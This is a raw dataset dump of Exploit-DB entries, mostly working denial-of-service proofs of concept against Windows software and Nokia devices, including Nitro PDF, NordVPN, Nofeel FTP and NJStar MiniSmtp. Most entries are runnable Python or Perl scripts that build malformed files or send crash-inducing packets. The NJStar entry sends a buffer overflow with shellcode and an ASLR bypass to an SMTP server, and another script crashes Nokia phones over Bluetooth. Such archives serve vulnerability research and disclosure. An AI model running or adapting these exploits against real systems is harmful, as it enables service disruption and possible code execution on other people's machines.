deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50434
Description: NIMax 5.3.1f0 - 'VISA Alias' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-10-21
Author: LinxzSec

Exploit:
# Exploit Title: NIMax 5.3.1f0 - 'VISA Alias' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Drop down "My System" then drop down "Software"
5 - Locate "NI-VISA 5.2" and select it
6 - Open the "VISA Options" tab
7 - Drop down "General settings"
8 - Select "Aliases"
9 - Select "Add alias"
10 - Paste string from "nimax.txt" into "Resource name"
11 - Just put a single character in the alias and press "ok", DoS will occur
'''

buffer = "\x41" * 5000

try:
    f = open("nimax.txt", "w")
    f.write(buffer)
    f.close()
    print("[+] File created!")
except:
    print("[+] File could not be created!")
Exploit-DB #16254
Description: Nitro PDF Reader 1.4.0 - Heap Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2011-02-28
Author: LiquidWorm

Exploit:
Nitro PDF Reader 1.4.0 Remote Heap Memory Corruption / DoS PoC


Vendor: Nitro PDF, Inc., Nitro PDF Pty Ltd.
Product web page: http://www.nitroreader.com
Affected version: 1.4.0.11

Summary: Nitro PDF Reader, free, fast, powerfull and secure.
Create PDF files, comment and review, save PDF forms, extract
text and images, type text directly onto the page, and more.

Desc: The program suffers from a heap corruption vulnerability
which can be exploited by malicious people to cause a denial of
service and potentially compromise a vulnerable system. The
vulnerability is caused when processing malicious PDF file which
triggers a heap corruption state resulting in a crash.

--------------------------------------------------------------

(bc8.b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0023f72c ebx=097e9c48 ecx=baadf00d edx=015ee620 esi=097e9c48 edi=097e1da0
eip=01604b77 esp=0023f708 ebp=00000000 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010282
Defaulted to export symbols for C:\Program Files\Nitro PDF\Reader\npdf.dll - 
npdf!ProvideCoreHFT+0x170517:
01604b77 8b01            mov     eax,dword ptr [ecx]  ds:0023:baadf00d=????????

--------------------------------------------------------------

Tested on: MS Windows XP Pro SP3 (en)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Advisory ID: ZSL-2011-4999
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4999.php


21.02.2011


--------

PoC: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/16254.rar (nitropdf_poc.rar)
http://www.zeroscience.mk/codes/nitropdf_poc.rar

--------
Exploit-DB #39546
Description: Nitro Pro 10.5.7.32 / Nitro Reader 5.5.3.1 - Heap Memory Corruption
Type: dos
Platform: windows
Date: 2016-03-10
Author: Francis Provencher

Exploit:
#####################################################################################

Application: Nitro PDF

Platforms: Windows

Versions: Nitro Pro 10.5.7.32 and lower  & Nitro Reader 5.5.3.1 and lower

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Nitro develops commercial software used to create, edit, sign, and secure Portable Document Format (PDF) files and digital documents. The Nitro ecosystem consists of Nitro Pro, Nitro Cloud, Nitro Reader, and a suite of document conversion sites.

Nitro’s product family is intended for the professional market and although its desktop products are Windows-only, Nitro Cloud is compatible with any web browser on any machine. The Nitro PDF Reader is freeware for both personal and professional use.

(https://en.wikipedia.org/wiki/Nitro_PDF)

#####################################################################################

============================
2) Report Timeline
============================

2015-12-29: Francis Provencher from COSIG report issue to GoNitro sales team;
2016-01-02: GoNitro confirmed this issue;
2016-01-21: GoNitro fixed this issue;

https://www.gonitro.com/support/security-update
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Nitro PDF 10 (10.5.7.32).
User interaction is required to exploit this vulnerability in that the target must open a malicious file.

A specially crafted PDF with a specific FunctionType 0 and an invalid /Domain can force an heap memory corruption

by pointing to an uninitialized space of memory.An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process.1

.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-13.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39546.zip

###############################################################################
Exploit-DB #24788
Description: Nitro Pro 8.0.3.1 - Crash (PoC)
Type: dos
Platform: windows
Date: 2013-03-15
Author: John Cobb

Exploit:
#!C:\Python27\python.exe

# Exploit Title: Nitro Pro 8.0.3.1 - DoS
# Date: 2012-10-07
# Exploit Author: John Cobb
# Author Homepage: www.NoBytes.com
# Vendor Homepage: www.nitropdf.com
# Version: 8.0.3.1
# Tested on: Win7 64bit
# CVE : None

# When the Object Index exceeds 10 characters the app crashes:
#
# !exploitable
# BUG_TITLE:Exploitable - User Mode Write AV starting at npdf!ProvideCoreHFT+0x[PII_REDACTED]10886a (Hash=0x265b4f1d.0x020d4f2c)
# EXPLANATION:User mode write access violations that are not near NULL are exploitable.
#
# Bonus: App crashes when just browsing the folder which contains the PDF...
#

sPDFHeader      = "\x25\x50\x44\x46\x2D\x31\x2E\x32\x0D"
sPDFComment     = "\x25\xE2\xE3\xCF\xD3\x0A"
sPDFObjectIndex = "\x31" * 11 # The Crash
sPDFObject      = "\x20\x30\x20\x6F\x62\x6A"

payload = sPDFHeader + sPDFComment + sPDFObjectIndex + sPDFObject

f = open("exploit.pdf", 'w')
f.write(payload)
f.close()
Exploit-DB #18196
Description: NJStar Communicator MiniSmtp - Buffer Overflow (ASLR Bypass)
Type: dos
Platform: windows
Date: 2011-12-03
Author: Zune

Exploit:
# Exploit Title: NJStart Communicator MiniSmtp Buffer Overflow [ASLR Bypass]
# Date: 02/12/11
# Author: Zune - Julian Pulido
# Software Link: http://www.njstar.com/download/njcom.exe
# Version: 3.0
# Build: 11818 and previous  
# Tested on: Windows 7 Ultimate
# CVE:2011-4040


#! /usr/local/bin/python

import socket
import time

carriage= chr(0xd) 
#######################################
Padding1= chr(0x31)* 275
Jump= '\x8d\x44\x24\x80\xff\xe0\x90\x90'
Junk1= chr(0x90)* 4
return1= '\x2d\x12\x41' # pop retn
egg1= Padding1+Jump+Junk1+return1+carriage 

#######################################
Padding2= chr(0x32)* 271
return2= '\x2b\x12\x41' # pop pop pop retn
egg2= Padding2+return2+carriage

#######################################
Padding3= chr(0x33) * 263
return3= '\x2d\x12\x41' # pop retn
egg3= Padding3+return3+carriage

#######################################
Padding4= chr(0x34) * 171
Padding5= chr(0x34) * 22
ShellCode = "\xC7\x43\x20\x63\x61\x6C\x63\xC7\x43\x24\x2E\x65\x78\x65\x33\xC0\
\x66\xB8\x1A\x08\xC1\xE0\x08\xB0\x79\x03\xE8\x8D\x43\x20\x33\xC9\xB1\x01\xC1\
\xC1\x0C\x2B\xE1\x6A\x05\x50\xFF\xD5\x8D\x85\x85\x44\xF8\xFF\x6A\x01\xFF\xD0"

return4= '\x2b\x12\x41' # pop pop pop retn
egg4= Padding4+ShellCode+Padding5+return4+carriage

#######################################

def Send_SMTP (egg):
    connectionx.send(egg +'\n')
    time.sleep(2)
    
connectionx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "Exploit NJStar Communicator 3.0 MiniSmtp by Zune\n"
print "Windows 7 Ultimate [ASLR Bypass]"
try:
    connectionx.connect(("192.168.1.65",25))#SMTP port 25
    Send_SMTP(egg1)
    Send_SMTP(egg2)
    Send_SMTP(egg3)
    Send_SMTP(egg4)
    connectionx.close()
except socket.error:
    print "it couldn't connect"
    time.sleep(2)
Exploit-DB #11827
Description: no$gba 2.5c - '.nds' Local crash
Type: dos
Platform: windows
Date: 2010-03-21
Author: l3D

Exploit:
#!/usr/bin/env python
#no$gba 2.5c (.nds) local crash
#Software Link: http://nocash.emubase.de/no$gba-w.zip
#Author: l3D
#Site: http://xraysecurity.blogspot.com
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

bad=file('crash.nds', 'w')
bad.write('A'*0x100000)
bad.close()
Exploit-DB #7756
Description: Nofeel FTP Server 3.6 - 'CWD' Remote Memory Consumption
Type: dos
Platform: windows
Date: 2009-01-13
Author: His0k4

Exploit:
#!/usr/bin/python
#           
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |      |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |     | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application :		Nofeel FTP Server V3.6
#
# [+] Vendor URL :		http://www.nftpserver.com/
#
# [+] Bug :			Nofeel FTP Server (CWD) Remote Memory Consumption Exploit
#
# [+] Author :			His0k4
#
# [+] Greetings :		All friends & Muslims Hackers (dz)
#				www.snakespc.com
#---------------------------------------------------------------------------------

import socket
import struct
import time

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "\n[*] Nofeel FTP Server Remote Memory Consumption Exploit"
	print "[*] Author:  His0k4\r\n"
	connect=s.connect(('127.0.0.1',21))
	s.recv(1024)
	print "[*] Sending Username"
	time.sleep(1)
	s.send('USER test\r\n')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS ftp\r\n')
	s.recv(1024)
	print "[*] Sending evil command"
	time.sleep(1)
	while (1):
		s.send('cwd()\r\n')
		s.recv(1024)
	s.send('quit\r\n')
	s.recv(1024)
except:
	print "Can't connect to ftp"

# milw0rm.com [2009-01-13]
Exploit-DB #33185
Description: Nokia Lotus Notes Connector - 'lnresobject.dll' Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-08-25
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/36144/info

The Nokia Lotus Notes Connector 'lnresobject.dll' ActiveX control is prone to a remote denial-of-service vulnerability because of an unspecified error.

A successful attack allows a remote attacker to crash an application that is using the ActiveX control (typically Internet Explorer), denying further service to legitimate users. 

<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html>
Exploit-DB #32772
Description: Nokia MultiMedia Player 1.1 - '.m3u' Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2009-02-03
Author: zer0in

Exploit:
source: https://www.securityfocus.com/bid/33586/info

Nokia Multimedia Player is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

Nokia Multimedia Player 1.1 is vulnerable; other versions may also be affected. 

# Nokia Multimedia Player version 1.1 .m3u Heap Overflow PoC exploit
# by 0in aka zer0in from Dark-Coders Group! [0in.email[at]gmail.com] / 0in[at]dark-coders.pl]
#   http://www.Dark-Coders.pl
#   Special thx to doctor ( for together analyse this shi*) and sun8hclf ( for tell me.. "to unicode.")
#   Greetings to: Die,m4r1usz,cOndemned (;> ?),joker,chomzee,TBH
#       Nokia Multimedia Player is a element of Nokia PC Suite packet.
#       DOWNLOAD:http://europe.nokia.com/A4144905
#           Vuln:
#                   This is heap overflow vuln, we can control EAX & EDI registers
#                   (on my Windows XP sp3) with UNICODE chars...
#           DEBUG:
#                       "Access violation when reading [00130013]" 
#                        EAX 00130013  <- ! 
#                        EDX 00000000
#                        EBX 00970000
#                        ESP 0012F96C
#                        EBP 0012FB8C
#                        ESI 00AD26B0
#                        EDI 00900011  <- ! 
#                        EIP 7C910CB0 ntdll.7C910CB0
#!/usr/bin/python
eax="\x13\x13" # eax : 00130013
edi="\x11\x90"  # edi : 00900011
buf="F"*261
buf+=edi+eax
buf+="B"*235
file_name="spl0.m3u"
ce=buf
f=open(file_name,'w')
f.write(ce)
f.close()
print 'PoC created!'
Exploit-DB #33205
Description: Nokia MultiMedia Player 1.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-09-01
Author: opt!x hacker

Exploit:
source: https://www.securityfocus.com/bid/36215/info

Nokia Multimedia Player is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the affected application to stop responding, denying service to legitimate users.

This issue affects Nokia Multimedia Player 1.1.

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com


#!/usr/bin/perl
#Nokia Multimedia Player 1.1 (.npl) Local Stack Overflow POC
#Finded by : opt!x hacker
#Download :
http://nds1.nokia.com/phones/files/software/nokia_multimedia_player_en.exe
#http://img136.imageshack.us/img136/6486/nokiai.png
#http://img19.imageshack.us/img19/2512/nokiacrash.png
#Greetz: H-RAF , his0k4
my $junk="A"x 4;
open(MYFILE,'>>nokia.npl');
print MYFILE $junk;
close(MYFILE);
Exploit-DB #32657
Description: Nokia N70 and N73 - Malformed OBEX Name Header Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-12-12
Author: NCNIPC

Exploit:
source: https://www.securityfocus.com/bid/32796/info

Multiple Nokia phones are prone to a remote denial-of-service vulnerability in their handling of the Object Exchange protocol.

Attackers may exploit this issue to crash a vulnerable phone, creating a denial-of-service condition. Note that attackers must be able to communicate with the device via Bluetooth to take advantage of this issue.

This issue is reported in N70 and N73 phones; additional devices may also be vulnerable.

# PoC code to demonstrate the flaw in the OBEX implementation of Nokia phones
# Tested under Windows XP SP2
# Coded by the penetration test team Of NCNIPC (China)

# PyBluez are required to run the code
from bluetooth import *

# Bluetooth address and OBEX channel of the target device
# Replace them with the appropriate values for your device
target = ("00:15:A0:F9:E6:03", 10)

# Make a connection
sock = BluetoothSocket(RFCOMM)
sock.connect(target)

# Connect to the OBEX service
connect_pkg = "\x80\x00\x07\x10\x00\xff\xfe"
sock.send(connect_pkg)
con_recv=sock.recv(20)

if con_recv[0]=='\xa0':
    # Now we are connected

    # The name string that consists of a single 0x0009 character, which will
    # cause the phone to lock up
    name_str = "\x00\x09"
    
    # Construct and send the malformed packet
    name_header = "\x01\x00" + chr(len(name_str) + 5) + name_str + "\x00\x00";
    body_header = "\x49\x00\xa0\x42\x45\x47\x49\x4e\x3a\x56\x43\x41\x52\x44\x0d\x0a\x56\x45\x52\x53\x49\x4f\x4e\x3a\x32\x2e\x31\x0d\x0a\x4e\x3b\x45\x4e\x43\x4f\x44\x49\x4e\x47\x3d\x38\x42\x49\x54\x3b\x43\x48\x41\x52\x53\x45\x54\x3d\x55\x54\x46\x2d\x38\x3a\x42\x6c\x6f\x67\x67\x73\x3b\x4a\x6f\x65\x0d\x0a\x54\x45\x4c\x3b\x50\x52\x45\x46\x3b\x43\x45\x4c\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x54\x45\x4c\x3b\x56\x4f\x49\x43\x45\x3a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x0d\x0a\x45\x4d\x41\x49\x4c\x3a\x72\x6f\x6f\x74\x40\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0d\x0a\x45\x4e\x44\x3a\x56\x43\x41\x52\x44\x0d\x0a"
    put_pkg = "\x82\x00" + chr(len(name_header) + len(body_header) + 3) + name_header + body_header
    print "Packet dump: ", binascii.b2a_hex(put_pkg)
    sock.send(put_pkg)
    print "Packet sent"

    try:
        resp = sock.recv(20)
        print "Response dump: %s" %(binascii.b2a_hex(resp))
    except:
        print "Failed to receive response: ", sys.exc_info()[0]
    
    sock.close()
Exploit-DB #18795
Description: Nokia PC Suite Video Manager 7.1.180.64 - '.mp4' Denial of Service
Type: dos
Platform: windows
Date: 2012-04-27
Author: Senator of Pirates

Exploit:
###########################################################################################################
Application : Nokia PC Suite Video Manager DoS 
Versions : <= 7.1.180.64 
Date : Friday, April 27,2012
Auther : Senator of Pirates
E-Mail : SenatorofPirates.info@gmail.com
FaceBook : /SenatorofPiratesInfo
Greetz : i greet to my best friends and every moroccan
###########################################################################################################

PoC :
-----
Data = ("\x00\x00\x00\x1c\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6f\x6d\x61\x76\x63\x31\x6d\x70\x34\x32\x00\x01\x19\x28"
"\x6d\x6f\x6f\x76\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xc7\x21\xfc\x5b\xc7\x21\xfc\x5b\x00\x00\x02\x58\x00\x02\x22\xa8"
"\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6f\x64\x73\x00\x00\x00\x00\x10\x07\x00\x4f"
"\xff\xff\x29\x15\xff\x00\x00\xa5\xe5\x74\x72\x61\x6b\x00\x00\x00\x5c\x74\x6b\x68\x64\x00\x00\x00\x01\xc7\x21\xfc\x5b\xc7\x21\xfc"
"\x5b\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x22\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\xa5\x81\x6d\x64\x69\x61\x00\x00\x00\x20\x6d\x64\x68\x64\x00\x00\x00\x00\xc7\x21\xfc"
"\x5b\xc7\x21\xfc\x5b\x00\x00\xac\x44\x00\x9c\xf0\x00\x55\xc4\x00\x00\x00\x00\x00\x42\x68\x64\x6c\x72\x00\x00\x00\x00\x00\x00\x00"
"\x00\x73\x6f\x75\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x29\x20\x32\x30\x30\x37\x20\x47\x6f\x6f\x67\x6c\x65"
"\x20\x49\x6e\x63\x2e\x20\x76\x30\x38\x2e\x31\x33\x2e\x32\x30\x30\x37\x2e\x00\x00\x00\xa5\x17\x6d\x69\x6e\x66\x00\x00\x00\x10\x73"
"\x6d\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6e\x66\x00\x00\x00\x1c\x64\x72\x65\x66\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\x0c\x75\x72\x6c\x20\x00\x00\x00\x01\x00\x00\xa4\xdb\x73\x74\x62\x6c\x00\x00\x00\x5b\x73\x74\x73\x64\x00"
"\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x4b\x6d\x70\x34\x61\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x10\x00\x00\x00\x00\xac\x44\x00\x00\x00\x00\x00\x27\x65\x73\x64\x73\x00\x00\x00\x00\x03\x19\x00\x00\x00\x04\x11\x40\x15"
"\x00\x01\xe6\x00\x02\x2d\x38\x00\x01\xcd\x28\x05\x02\x12\x10\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x27\x3c\x00\x00\x04\x00\x00\x00\x00\x28\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00");


avi = open('poc.mp4', 'wb+')
avi.write(Data)
    
avi.close()
Exploit-DB #46343
Description: NordVPN 6.19.6 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-11
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)
# Date: 07/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://nordvpn.com/
# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Version: 6.19.6
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script, it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NordVPN.exe 
# 3.- Paste clipboard in 'E-mail' field
# 4.- Write '1234' in 'Password' field
# 5.- Clic on button -> Sign In
# 6.- Crashed

buffer = "\x41" * 100000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #21982
Description: Northern Solutions Xeneo Web Server 2.1/2.2 - Denial of Service
Type: dos
Platform: windows
Date: 2002-11-04
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/6098/info

A denial of service vulnerability has been reported for Xeneo web server. When the web server processes a malformed HTTP request, it will crash and lead to the denial of service condition. 

http://www.example.com/%
http://www.example.com/%A